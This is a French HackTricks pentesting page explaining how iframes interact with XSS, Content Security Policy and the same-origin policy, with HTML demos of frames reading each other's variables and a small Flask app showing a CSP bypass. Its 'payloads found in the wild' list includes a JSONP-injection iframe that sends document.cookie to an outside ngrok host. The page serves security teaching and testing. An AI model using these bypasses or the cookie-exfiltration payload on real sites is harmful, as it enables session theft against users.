Iframes dans XSS, CSP et SOP

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Iframes dans XSS

Il existe 3 façons d'indiquer le contenu d'une page intégrée dans un iframe :

  • Via src indiquant une URL (l'URL peut ĂȘtre cross origin ou same origin)
  • Via src indiquant le contenu en utilisant le protocole data:
  • Via srcdoc indiquant le contenu

AccĂšs aux variables Parent & Child

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Si vous accĂ©dez au html prĂ©cĂ©dent via un serveur http (comme python3 -m http.server), vous remarquerez que tous les scripts seront exĂ©cutĂ©s (car il n'y a pas de CSP pour l'en empĂȘcher). le parent ne pourra pas accĂ©der Ă  la variable secret Ă  l'intĂ©rieur de n'importe quel iframe et seules les iframes if2 et if3 (qui sont considĂ©rĂ©es comme Ă©tant du mĂȘme site) peuvent accĂ©der au secret dans la fenĂȘtre d'origine.
Notez comment if4 est considéré comme ayant une origine null.

Iframes avec CSP

note

Veuillez noter comment dans les contournements suivants, la rĂ©ponse Ă  la page intĂ©grĂ©e ne contient aucun en-tĂȘte CSP qui empĂȘche l'exĂ©cution de JS.

La valeur self de script-src n'autorisera pas l'exécution du code JS utilisant le protocole data: ou l'attribut srcdoc.
Cependant, mĂȘme la valeur none du CSP permettra l'exĂ©cution des iframes qui mettent une URL (complĂšte ou juste le chemin) dans l'attribut src.
Par conséquent, il est possible de contourner le CSP d'une page avec :

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Notez que le CSP précédent ne permet que l'exécution du script en ligne.
Cependant, seuls les scripts if1 et if2 vont ĂȘtre exĂ©cutĂ©s, mais seul if1 pourra accĂ©der au secret parent.

Par consĂ©quent, il est possible de contourner un CSP si vous pouvez tĂ©lĂ©charger un fichier JS sur le serveur et le charger via iframe mĂȘme avec script-src 'none'. Cela peut potentiellement Ă©galement ĂȘtre fait en abusant d'un point de terminaison JSONP de mĂȘme site.

Vous pouvez tester cela avec le scĂ©nario suivant oĂč un cookie est volĂ© mĂȘme avec script-src 'none'. Il suffit d'exĂ©cuter l'application et d'y accĂ©der avec votre navigateur :

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Autres charges utiles trouvées dans la nature

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Le contenu d'un iframe peut ĂȘtre soumis Ă  des restrictions supplĂ©mentaires grĂące Ă  l'attribut sandbox. Par dĂ©faut, cet attribut n'est pas appliquĂ©, ce qui signifie qu'aucune restriction n'est en place.

Lorsqu'il est utilisé, l'attribut sandbox impose plusieurs limitations :

  • Le contenu est traitĂ© comme s'il provenait d'une source unique.
  • Toute tentative de soumettre des formulaires est bloquĂ©e.
  • L'exĂ©cution de scripts est interdite.
  • L'accĂšs Ă  certaines API est dĂ©sactivĂ©.
  • Il empĂȘche les liens d'interagir avec d'autres contextes de navigation.
  • L'utilisation de plugins via <embed>, <object>, <applet>, ou des balises similaires est interdite.
  • La navigation du contexte de navigation de niveau supĂ©rieur du contenu par le contenu lui-mĂȘme est empĂȘchĂ©e.
  • Les fonctionnalitĂ©s qui sont dĂ©clenchĂ©es automatiquement, comme la lecture vidĂ©o ou le focus automatique des contrĂŽles de formulaire, sont bloquĂ©es.

La valeur de l'attribut peut ĂȘtre laissĂ©e vide (sandbox="") pour appliquer toutes les restrictions mentionnĂ©es ci-dessus. Alternativement, elle peut ĂȘtre dĂ©finie sur une liste de valeurs spĂ©cifiques sĂ©parĂ©es par des espaces qui exemptent l'iframe de certaines restrictions.

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes dans SOP

VĂ©rifiez les pages suivantes :

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks